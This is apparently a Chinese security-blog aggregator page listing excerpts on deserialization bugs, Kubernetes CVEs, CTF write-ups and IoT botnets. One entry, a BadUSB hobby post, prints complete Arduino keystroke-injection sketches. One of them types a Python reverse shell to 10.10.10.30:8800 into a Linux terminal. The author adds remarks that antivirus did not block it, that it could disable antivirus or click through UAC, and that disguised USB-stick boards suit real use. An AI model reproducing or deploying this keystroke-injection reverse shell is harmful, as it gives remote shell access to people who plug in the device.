Aggregator
Please support the site operations by clicking ads.
SVG with HTML Parsing
7 years 3 months ago
一句话总结:HTML 在解析 svg 节点下的 script 时,会暂停原有html标准解析,并使用xml标准解析svg-script,导致了实体引用被解析执行。
深入理解字符编码以及 GBK 注入
7 years 3 months ago
以前对 UTF-8, UTF-16, unicode, GBK, ASCII 之类的都是一知半解, 其实深入之后了解这些并不困难.
Shiro RememberMe 1.2.4 反序列化漏洞详细复现 - PaperPen
7 years 3 months ago
对一个完全陌生的框架的一次本地复现
PaperPen
Galaxy Leapfrogging盖乐世蛙跳: Pwning the Galaxy S8
7 years 3 months ago
flanker017
CVE-2019-11248
7 years 3 months ago
/debug/pprof exposed on kubelet's healthz port
Galaxy Leapfrogging: Pwning the Galaxy S8
7 years 3 months ago
flanker017
badusb试玩
7 years 3 months ago
序
板子用的beetle usb atmega32u4
自带usb接口,比较便宜,以前看过多款badusb的板子,但是都因为比较贵而放弃,直到前两天hx说了这个板子也可以,于是果断下单。
板子类型选择arduino leonardo,编译上传即可
上手试玩代码很简单,一看就懂。
windows弹计算器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(2000); Keyboard.press(KEY_LEFT_GUI); delay(50); Keyboard.press('r'); delay(50); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(50); Keyboard.println("calc"); delay(50); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(50); } void loop() { // put your main code here, to run repeatedly: } ubuntu 开终端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(2000); /* Keyboard.press(KEY_LEFT_CTRL); delay(500); Keyboard.press(KEY_LEFT_ALT); delay(500); Keyboard.press('T'); delay(500); Keyboard.release('T'); */ Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.release(KEY_LEFT_GUI); delay(500); Keyboard.println("term"); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); Keyboard.println("echo hacked"); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); delay(50); } void loop() { // put your main code here, to run repeatedly: } ubuntu反弹shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(2000); /* Keyboard.press(KEY_LEFT_CTRL); delay(500); Keyboard.press(KEY_LEFT_ALT); delay(500); Keyboard.press('T'); delay(500); Keyboard.release('T'); */ Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.release(KEY_LEFT_GUI); delay(500); Keyboard.println("term"); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); Keyboard.println("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.10.30\",8800));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);' "); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); delay(50); } void loop() { // put your main code here, to run repeatedly: } 跋代码异常简单,执行过程也毫不隐蔽,难点在于如何把做好的板子插到目标设备上 :)
模拟的键盘设备,试过了5台电脑,其中三台win10有杀软,两台ubuntu,全部正常运行,没有遇到拦截的情况。
如果有恶意命令,可能会被拦截,似乎火绒会拦截命令行创建用户的命令
板子模拟键盘操作关掉杀软也是可以的 :) 然而暂时没想到如何用键盘快捷键关掉杀软。在执行过程中模拟点击允许该程序执行、同意UAC可能也是可以的。
淘宝上这款板子有的是带壳子的,外观就是一个普通的优盘。如果实战使用的话可能更好。
Les1ie
2019年8月7日09:35:43
分享图片
7 years 3 months ago
浏览器解析js - bamb00
7 years 3 months ago
网页加载js步骤1、浏览器一边下载html网页,一边开始解析(不等下载完就解析)2、遇到<script>标签,暂停解析,网页渲染的控制权交给javascript引擎3、如果<script>标签引用了外部脚本,先下载在执行,否则直接执行4、执行完毕,控制权交还渲染引擎,继续往下解析html网页注意:有
bamb00
Fastjson 新反序列化漏洞解析
7 years 3 months ago
首先奉上廖大大的fastjson经典流程图
The Hunt for IoT: So Easy To Compromise, Children Are Doing It
7 years 3 months ago
This episode in The Hunt for IoT Volume 6 series focuses on the threat actors building IoT botnets, how easy IoT devices are to exploit, recent thingbot discoveries, and the status of Mirai infections worldwide.
The Hunt for IoT: So Easy To Compromise, Children Are Doing It
7 years 3 months ago
This episode in The Hunt for IoT Volume 6 series focuses on the threat actors building IoT botnets, how easy IoT devices are to exploit, recent thingbot discoveries, and the status of Mirai infections worldwide.
The Hunt for IoT: So Easy To Compromise, Children Are Doing It
7 years 3 months ago
This episode in The Hunt for IoT Volume 6 series focuses on the threat actors building IoT botnets, how easy IoT devices are to exploit, recent thingbot discoveries, and the status of Mirai infections worldwide.
CVE-2019-11249
7 years 3 months ago
Incomplete fixes for CVE-2019-1002101 and CVE-2019-11246, kubectl cp potential directory traversal
CVE-2019-11247
7 years 3 months ago
API server allows access to custom resources via wrong scope
哈希长度拓展攻击之De1CTF - SSRF Me - PaperPen
7 years 3 months ago
第一次做哈希长度拓展攻击的题目,记录一下
PaperPen
让终端更好看--Ubuntu OhMyZsh配置指南 - luoyesiqiu
7 years 3 months ago
查看shell列表 如果发现没有zsh就安装 安装zsh 设置默认shell 重启主机 查看当前默认shell 确认zsh是否为默认shell 安装oh my zsh 安装zsh syntax highlighting插件 安装字体 oh my zsh会有许多符号来美化终端界面,所以安装一些支持多样
luoyesiqiu
IOMMU introduction
7 years 3 months ago
Terenceli
由一道工控路由器固件逆向题目看命令执行漏洞 - H4lo
7 years 3 months ago
前言 2019 工控安全比赛第一场的一道固件逆向的题目,好像也比较简单,好多人都做出来了。这里就分别从静态和动态调试分析复现一下这个命令执行的洞。 赛题说明 题目给的场景倒是挺真实的:路由器在处理 tddp 协议时出现了命令注入,导致了远程命令执行。就是后面做出来的这个答案的格式咋提交都不对...
H4lo